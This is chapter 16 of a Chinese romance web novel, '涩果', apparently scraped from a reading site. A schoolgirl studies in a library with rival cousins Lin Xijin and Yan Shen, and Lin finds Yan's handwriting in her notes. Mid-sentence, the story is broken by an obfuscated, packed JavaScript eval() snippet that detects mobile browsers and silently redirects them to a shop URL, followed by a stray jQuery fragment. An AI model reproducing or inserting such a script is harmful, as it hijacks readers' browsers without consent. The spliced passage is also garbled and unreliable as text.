16.第 16 章
作品:《涩果》 16
向葵告诉梁思意,她和徐衡原本计划去家里找她和阎慎:“但你妈妈说你去图书馆了,我和徐衡又没什么事,想着一个人也是学,我们几个在一块也是一起学。”
“不过我没想到你约了人。”挨着梁思意坐下后,向葵凑在她耳边小声说,“是不是打扰你们约会了?”
“没有,不是你想得那样。”梁思意瞥了眼和他们隔了几个空位的阎慎,犹豫了几秒,才解释道,“他是……阎慎的表哥,我们认识很多年了。”
“哦,原来是这样啊。”图书馆不是聊天的好地方,向葵也没有再多问,翻出一张试卷摊在桌上。
梁思意捏着笔,却怎么也静不下心。
她总忍不住抬头看阎慎,害怕他最近看自己不顺,不小心再说出些什么惊人的话,但阎慎似乎真的只是来学习,从坐下之后,没再朝这边看过一眼。
梁思意又看向坐在身旁的林西津,他转着笔,时不时在试卷上勾一下,好像并未受到什么影响。
另一边,徐衡和向葵已经进入学习状态,她深呼吸几次,将那些乱七八糟的念头抛之脑后,也开始静心学习。
梁思意陷在难题里,没注意一旁的林西津停笔看了她和阎慎许久,而阎慎似乎察觉到林西津的视线。
他抬起头,没什么表情地和林西津对视着。
目光如能化为利器,空气中恐怕已经火花四溅。
阎慎气定神闲地靠着椅背,冬日晴天的通透日光落进室内,衬得他眸光格外淡漠。
林西津指间的笔转得飞快,忽然间脱手,笔杆“啪嗒”一声砸在桌面上。
梁思意被这声响惊动,扭头看了过来,他挪开视线,笑着拿起笔:“想题目想出神了。”
梁思意没怀疑,看了眼他的卷子,眼尖地发现一道选错的题目,但她也没急着指出,只是小声说:“慢慢写。”
林西津“嗯”了一声,等到再朝另一边看去,阎慎已经不在座位上。
他没太在意,依旧转着笔,心不在焉地写着试卷。
梁思意给林西津定的表是一个半小时,倒计时还剩最后十分钟的时候,向葵先停了笔。
这个点,馆内已经没剩多少人。
她说得不算太小声:“你们去不去吃饭啊?一起呗。”
梁思意也有些饿了,跟着停了笔,但她先看向林西津:“一起吗?”
“一起吧,反正都是同学。”林西津不甚在意地说。
梁思意跟着他一起站了起来。
另一边,阎慎将东西收进书包,起身看着徐衡说:“你们吃吧,我有点事,先走了。”
“不吃饭啊。”徐衡问。
“不吃了。”阎慎拎起书包,看也不看梁思意,径直离开了图书馆。
梁思意顺着他离开的方向看了一眼,向葵挽住她的胳膊说:“那我们走吧,我知道这附近有一家煲仔饭特别好吃!”
梁思意笑了笑,说:“行。”
吃饭时,向葵趁着徐衡和林西津去买水的间隙,忍不住八卦:“阎慎是不是和他表哥关系不太好啊?他们不是亲的吗?”
梁思意犹豫着,不知道怎么解释。
因为她也不知道阎慎和林西津到底存在什么矛盾,甚至在最初,她根本不知道两个人关系不好。
林西津脾气温和,对所有人都体贴大方。
反而是阎慎,那些年在长辈和林西津的描述中,似乎只是一个学习好,却不太通人情的男生。
有着属于青春期特有的叛逆。
刚搬进阎家的时候,梁思意在林西津的影响下,也曾对阎慎敬而远之。
后来真的相处下来,她发现阎慎并不似想象中那么不近人情,只是对不相干的人没那么亲近。
随着住在同一屋檐下的时间久了,梁思意对他的看法也在发生改变。
在阎慎和林西津打完那一架之后,她也莫名觉得他不像长辈口中说得那么不懂事。
事后林西津也跟梁思意解释过,说当时打架只是男生之间的一点小摩擦,说的那些话也都是气话。
梁思意还替林西津向阎慎转达了他的歉意。
她到现在都还记得,阎慎当时听完之后给了她一个超级明显的白眼。
这些年,阎慎不待见林西津成了事实,梁思意也在和林西津的相处中察觉到他对阎慎的微妙敌意。
久而久之,她便没有再在中间替两人缓和关系。
“我也不太清楚。”梁思意沉默许久,才说,“他们很早之前就这样了。”
“好吧,也太奇怪了。”向葵托着腮说,“我跟徐衡不是亲兄妹,看着都比他们两个关系好呢。”
梁思意叹了口气,也是一头雾水。
吃完饭,四人又回到图书馆,梁思意被徐衡抓着狂补数学,都没顾得上替林西津看试卷。
最后还是向葵抽空看了眼,改出几道错题,礼貌地问:“需要给你讲一下吗?”
林西津不怎么明显地笑了笑,语气淡淡的:“不用了,我知道错在哪里,我自己看一会儿。”
“行。”向葵没多想,把试卷推了回去。
林西津看着摊在面前的卷子,上边的红色字迹异常刺眼,他静静看了片刻,提笔将那个红色的X划掉了。
他们在图书馆待到傍晚,晚上还有自习课,四个人怕堵车赶不上,打了一辆出租车。
梁思意坐在后排中间,林西津坐在她身旁,一直望着窗外,一路都没怎么说话。
下车后,向葵和徐衡先回了教室。
梁思意付了车费,和林西津并肩走在校园里,她主动打破沉默,说:“我看了你做的卷子,正确率挺高的。”
林西津没怎么在意,嗯了一声:“卷子也不难。”
“是你基础好。”梁思意说,“只要你再细心点,成绩还是能往上提一提的。”
林西津笑了笑:“你怎么跟老王说一样的话。”
“其实王老师找过我。”梁思意看着他,“他挺重视你的,也不想你就这么……”
她一时想不出该怎么形容。
“我努力着呢。”林西津抬手揉了揉梁思意的脑袋,“你也多加油,争取早点考回实验班。”
他收回手,梁思意下意识跟着摸了下被碰过的地方,发丝戳在手心里,微微发痒。
她试探着问:“那下周日,我们还一起出来吗?”
林西津没一口应下,只说:“再看吧。”
梁思意不想逼他太紧,便没再说什么,等他们回到教室,晚自习还没开始。
她放下书包,翻出水杯去接水。
书包敞着口放在桌上。
林西津顺手帮她把包塞进书桌抽屉里,但不知是没塞好,还是包里东西太多,没一会,连书带包都掉在地上。
他弯腰去捡。
笔袋,书和笔记本。
林西津挨个捡起来放在桌上,把空书包重新塞回抽屉,随手拿起一本笔记翻开。
里边记满了地理重点。
他来来回回翻了几页,无意间翻回第一页,手里的动作倏地顿住了。
整面空白的扉页,只潦草地写了一个字。
阎。
林西津又翻开笔记,字迹是眼熟的,可仔细看似乎又和印象里不太一样,他打开一本梁思意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990461|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的复习资料。
是相似的字迹,只不过地理笔记上的字迹更大气,而复习资料上的字迹则在大气中又多了一丝秀气。
林西津沉默着看了许久,在梁思意回来之前,把笔记放了回去。
他一整晚情绪都不是特别高,梁思意问不出缘由,也有些心不在焉,等到放学也没把徐衡下午给她留的几道数学题写完。
“我先走了,明天见。”林西津空着手离开教室,看着他的背影,梁思意轻轻叹了声气。
她收拾好书包,离开教室的时候班里已经没剩几个人了。
冬夜里的校园格外寂静,凛冽的风卷着枝头仅剩的枯叶,在半空中打着卷落下。
梁思意走出校园,隔着一人高的围墙,看见教学楼顶层的四间实验班教室仍旧亮着炽白的光。
像迷茫海雾中的灯塔。
她长舒一口气,不再去想那些虚无缥缈的东西,快步走过马路。
回到家还不到十一点,梁思意收拾好坐在桌前。
她书桌正对着一楼院子,阎慎进门的时候,梁思意抬头看了眼时间,已经快十一点半了。
老房子隔音一般,梁思意听见他上楼的动静,一步两步,忽地,她的房门被敲响了。
“咚咚”两声。
梁思意愣了下才起身去开门。
阎慎停在门外,黑色冲锋衣的拉链在顶端晃荡,肩线平直优越,露出的脸依旧没什么太明显的情绪。
他单手抓着书包的肩带,垂着眼看她:“徐衡是不是给你留作业了?”
梁思意迟疑地点了点头。
他又问:“写完没?”
梁思意心虚地摇了摇头。
那张没什么情绪的脸终于出现波动,阎慎皱着眉,语气也多是难以理解:“八道题,不是八十道,你三节晚自习干什么去了?”
“跟你有什么关系。”梁思意下意识嘴硬道,“你管得着吗?”
“行,徐衡让我帮你检查一下,我看也是不用了。”说罢,他转身准备上楼。
梁思意只犹豫了两秒,伸手抓住他的书包:“等等等——”
阎慎回头看着她,冷冰冰地说:“做什么?”
“我……”八道题确实不多,但题目难度大,梁思意写到现在,还有一道题完全没动。
她抿着唇,挣扎着开口:“我不是那个意思。”
阎慎没说话,垂眸看着她,静静等着下文。
梁思意深吸一口气,正准备开口,他忽然转身:“行了,下楼吧。”
她一口气憋在嗓子眼里,差点呛住,冲着他的背影挥了几次拳头,才回房间拿了东西下楼。
久违地坐在一起,梁思意也没觉得有什么不适应的,伸手将写完的题目推到阎慎面前,又继续在写剩下的最后一道题。
她思考时喜欢咬笔杆,偶尔还会抬头放空。
阎慎坐在餐桌的另一边,低头在看她写的解题过程,时不时在上边勾着写着,神情一如既往地认真。
“我头上有答案吗?”他忽然头也不抬地说。
梁思意吓了一跳,嘴上一用力,不小心把笔杆咬碎了:“……”
阎慎:“……”
“呸呸。”她低头将嘴里的塑料吐进垃圾桶里,很不乐意地看了他一眼,似乎在责怪他突然出声吓到自己。
阎慎微不可察地哼笑了一声,把改好的题目拍到她面前:“没有一道题全对,你回八班才多久?”
梁思意又没底气了,一会儿挠脸,一会儿摸鼻子。
阎慎往后一靠,两手抱在胸前,直勾勾盯着她问:“你难道想为了林西津,一直留在八班?”

